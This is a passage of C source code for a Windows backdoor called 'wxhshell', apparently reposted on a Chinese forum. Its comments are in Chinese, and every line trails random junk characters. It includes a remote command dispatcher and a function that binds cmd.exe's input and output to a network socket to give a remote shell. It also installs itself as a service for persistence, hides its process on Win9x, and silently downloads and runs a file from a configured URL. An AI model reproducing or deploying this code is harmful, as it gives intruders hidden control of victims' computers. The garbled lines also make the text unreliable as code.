  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]goJ- &  
  } P8By~f32_  
  else { 4Xa] yA =  
nfHjIYid  
    switch(cmd[0]) { bk<Rp84vL  
  b<~8\\ &  
  // 帮助 ^`id/  
  case '?': { uBt ]4d*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pIC'nO_  
    break; :23S%B~X  
  } TBPu&+3  
  // 安装 I1':&l^O  
  case 'i': { 7<e}5nA/  
    if(Install()) &-Ch>:[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ri8=u$!  
    else 9MZ)-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hDB(y4/  
    break; K 'l-6JY-  
    } Sxc)~y  
  // 卸载 %\48hSe  
  case 'r': { *|W](id7e  
    if(Uninstall()) wMR,r@}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \h#aPG<yo  
    else ddKP3}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BT8)t.+pv  
    break; NO[A00m|OL  
    } +&VY6(Zj+*  
  // 显示 wxhshell 所在路径 m0ra  
  case 'p': { H%Vf$1/TF  
    char svExeFile[MAX_PATH]; vA_,TS#Bo  
    strcpy(svExeFile,"\n\r"); mm +V*L{x  
      strcat(svExeFile,ExeFile); 5)XUT`;'){  
        send(wsh,svExeFile,strlen(svExeFile),0); ynM~&]fk#k  
    break; &t<g K D  
    } ^uUA41o`eJ  
  // 重启 : pUu_  
  case 'b': { LJ@(jO{z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,hI$nF0}p  
    if(Boot(REBOOT)) vFdI?(c-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V':A!  
    else { 3GE;:;8B  
    closesocket(wsh); eEVB   
    ExitThread(0); sS ?A<D  
    } d)!'5Zr M  
    break; p1d%&e  
    } SJP3mq/^K  
  // 关机 %<DdX*Qp  
  case 'd': { }FS_"0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H}~K51  
    if(Boot(SHUTDOWN)) zW#5 /*@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fn 'n'X|  
    else { ]vf0f,F  
    closesocket(wsh); 3>7{Q_5  
    ExitThread(0); z4BU}`;b3t  
    } MnFrQC  
    break; hu0z 36  
    } _J,rql@nG<  
  // 获取shell .qohHJ&  
  case 's': { na $MR3@e  
    CmdShell(wsh); cSYCMQ1ro  
    closesocket(wsh); 2_u+&7  
    ExitThread(0); Z ;rM@x  
    break; H*k\C  
  } }(u:K}8  
  // 退出 PRiE2Di2S  
  case 'x': { kZ@UQ{>`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wg0_J<y]  
    CloseIt(wsh); MMKN^a"GA  
    break; V1M|p!  
    } `=hCS0F  
  // 离开 !c)F;  
  case 'q': { <B|b'XVH2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Q#n'#c  
    closesocket(wsh); rucw{) _  
    WSACleanup(); >e/>@ J*  
    exit(1); T:kliM"z  
    break; ;6hoG(3 +  
        } # A4WFZ  
  } HRE?uBkjf  
  } dh6kj-^;Cf  
"!P h  
  // 提示信息 Ewkx4,`Ff  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,}W|cm>  
}  q%d'pF  
  } R- >~MLeK]  
08jk~$%  
  return; u `xQC /  
} \e4AxLP  
}U'9 d#N  
// shell模块句柄 9a=:e=q3#  
int CmdShell(SOCKET sock) 7WSP0Xyz  
{  D~"a"  
STARTUPINFO si; xF3FY0U[  
ZeroMemory(&si,sizeof(si)); L"9Z{o7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3s%DF,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ef7 U7   
PROCESS_INFORMATION ProcessInfo; "aKlvK:77  
char cmdline[]="cmd"; >CrrxiG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +2:HgW  
  return 0; N}nE9z5  
} O&/n BHu\  
>ryA:TO{  
// 自身启动模式 2 ^"j]g>mj  
int StartFromService(void) ,(h -  
{ -?#iPvk6  
typedef struct o9| OL  
{ |(W04Wp"@  
  DWORD ExitStatus; M .6BFC  
  DWORD PebBaseAddress; qZ>_{b0f  
  DWORD AffinityMask; -!7Z  
  DWORD BasePriority; HTiLA%%6  
  ULONG UniqueProcessId; Zl9  
  ULONG InheritedFromUniqueProcessId; d`V.i6u  
}   PROCESS_BASIC_INFORMATION; MXl_{8  
fCNQUK{Gs5  
PROCNTQSIP NtQueryInformationProcess;  $L uU  
xPm{'J+b~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }XUI1H]jk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e^@ZN9qQ  
s% R,]q  
  HANDLE             hProcess; M1/(Xla3  
  PROCESS_BASIC_INFORMATION pbi; 'C7R* P  
q90RTX'CY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xC9?rLUZ  
  if(NULL == hInst ) return 0; O{ 3X`xAf  
uHacu<$=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J?#vL\8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7wWx8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5V(#nz  
dR=sdqS#J  
  if (!NtQueryInformationProcess) return 0; 40 u tmC  
R73@!5N%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a(yWIgD\\  
  if(!hProcess) return 0; *iru>F8r:  
2Jiy`(P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (FGy"o%TP'  
H1?C:R  
  CloseHandle(hProcess); #'f5owk>,  
;TDvk ]:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jo[ &y,  
if(hProcess==NULL) return 0; !jB}}&Ii  
B+Qo{-  
HMODULE hMod; +<@1)qZ(E  
char procName[255]; O\cc=7  
unsigned long cbNeeded; `2+TN  
32 j){[PL3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 5?`W&:9  
F> Ika=z,  
  CloseHandle(hProcess); 8VU(+%X  
WQCnkP  
if(strstr(procName,"services")) return 1; // 以服务启动 &m36h`tM  
POl-S<QV  
  return 0; // 注册表启动 E[ -yfP~[  
}  s=:LS  
OB=bRLd.IR  
// 主模块 pheu48/f  
int StartWxhshell(LPSTR lpCmdLine) @mu{*. &  
{ z"  z$.c  
  SOCKET wsl; =ePwGm1:c  
BOOL val=TRUE; 5FB3w48  
  int port=0; yMkR)HY  
  struct sockaddr_in door;  \>"Zn7  
X xwcvE  
  if(wscfg.ws_autoins) Install(); cCZ$TH  
gI RZkT`  
port=atoi(lpCmdLine); hEo$Jz`  
]==7P;_-  
if(port<=0) port=wscfg.ws_port; K ~-V([tWg  
)AieO-4*  
  WSADATA data; $aT '~|?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & \5Ur^t  
)L "Dt_t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >_]Ov:5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # ^,8JRA  
  door.sin_family = AF_INET; /8:e| ]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m7A3i<6p  
  door.sin_port = htons(port); \N|}V.r  
hB>FJZQ_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s H'FqV,)  
closesocket(wsl); 8* m,#   
return 1; z\, lPwB2  
} O['[_1n_u]  
oMM@{Jp  
  if(listen(wsl,2) == INVALID_SOCKET) { suaP'0  
closesocket(wsl); uj%]+Llxv  
return 1; vP'!&}  
} s^)(.e_  
  Wxhshell(wsl); 4\V/A+<W  
  WSACleanup(); Oi C|~8  
N1y,~Z  
return 0; T$FKn  
Ai 8+U)  
} _a$5"  
pox;NdX7  
// 以NT服务方式启动 {9P(U\]e]k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w D6QN  
{ uJ1oo| sn  
DWORD   status = 0; u@Ni *)p`  
  DWORD   specificError = 0xfffffff; 1:DA{ejS  
c*[aIqj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ESIeZhXVH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sy(bL _%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `\ nKPj  
  serviceStatus.dwWin32ExitCode     = 0; &432/=QSm0  
  serviceStatus.dwServiceSpecificExitCode = 0; 1z,P"?Q  
  serviceStatus.dwCheckPoint       = 0; Um-Xb'R*]V  
  serviceStatus.dwWaitHint       = 0; x>K,{{B)X  
F2(^O Fh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cF9ZnT.  
  if (hServiceStatusHandle==0) return; 4},Y0QXw  
p@DVy2,EY  
status = GetLastError(); y^X]q[-?  
  if (status!=NO_ERROR) 8c%N+E]  
{ \G/ZA) t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A2PeI"y  
    serviceStatus.dwCheckPoint       = 0; ;u';$0  
    serviceStatus.dwWaitHint       = 0; z+0#H39&  
    serviceStatus.dwWin32ExitCode     = status; s"tH?m )6  
    serviceStatus.dwServiceSpecificExitCode = specificError; $S?xB$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X`E}2|q'  
    return; {~\:4  
  } r|bGn#^  
#{)mr [c|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1csbuR?  
  serviceStatus.dwCheckPoint       = 0; o {q8An)  
  serviceStatus.dwWaitHint       = 0; WwKpZ67$R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3-0jxx(  
} b9b`%9/L  
: IsJE6r  
// 处理NT服务事件,比如:启动、停止 >*l2]3' `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p NQ@aJ  
{ 7D8 pb0`;J  
switch(fdwControl) VqOTrB1w/  
{ .v=n-k7  
case SERVICE_CONTROL_STOP: g+&wgyq5  
  serviceStatus.dwWin32ExitCode = 0; "KC3+:tm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B.b sU  
  serviceStatus.dwCheckPoint   = 0; =(,kjw88w  
  serviceStatus.dwWaitHint     = 0; 4q@[k: '  
  { I.2>d_^<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8y?q)y9h  
  } S@,x^/vT  
  return; 0@&;JMh6<  
case SERVICE_CONTROL_PAUSE: ^d9o \  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^@'zQa  
  break; wv%UsfD  
case SERVICE_CONTROL_CONTINUE: ph ~#{B(\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d(Yuz#Qcrh  
  break; M|.ykA<D  
case SERVICE_CONTROL_INTERROGATE: %~Ymb&ugg  
  break; Cq\{\!6[  
}; 6UPGE",u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 iH]N*]S^  
} etb#/L  
W,t`DMC  
// 标准应用程序主函数 yS#D$q2_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5RSP.Vyx{  
{ z3fU|*_c  
TPZ^hL>ao  
// 获取操作系统版本 4]cr1K ^  
OsIsNt=GetOsVer(); D_w<igu!3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G1,u{d-_  
|;C;d"JC2  
  // 从命令行安装 THwq~c'  
  if(strpbrk(lpCmdLine,"iI")) Install(); PXDJ[Oj7(0  
dTU`@!f  
  // 下载执行文件 (b.Mtd  
if(wscfg.ws_downexe) { lqoVfj'6M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w-wJhc|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ojp|/yd^YL  
} iA"H*0  
/'>ck2drjk  
if(!OsIsNt) { U}-hV@y  
// 如果时win9x,隐藏进程并且设置为注册表启动 s*>B"#En  
HideProc(); DK%@ [D  
StartWxhshell(lpCmdLine); bde6 ;=oM  
} -K5u5l}  
else m?1AgsBR  
  if(StartFromService()) uKT\\1Jrq  
  // 以服务方式启动 aSSw>*?Q  
  StartServiceCtrlDispatcher(DispatchTable); Q(hAV  
else OZl0I#@A  
  // 普通方式启动 !8J%%Ux&M  
  StartWxhshell(lpCmdLine); |e&hm ~R1  
l_ &T)Ei  
return 0; ?d)eri8,  
}
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只看该作者 1 发表于: 2006-10-10
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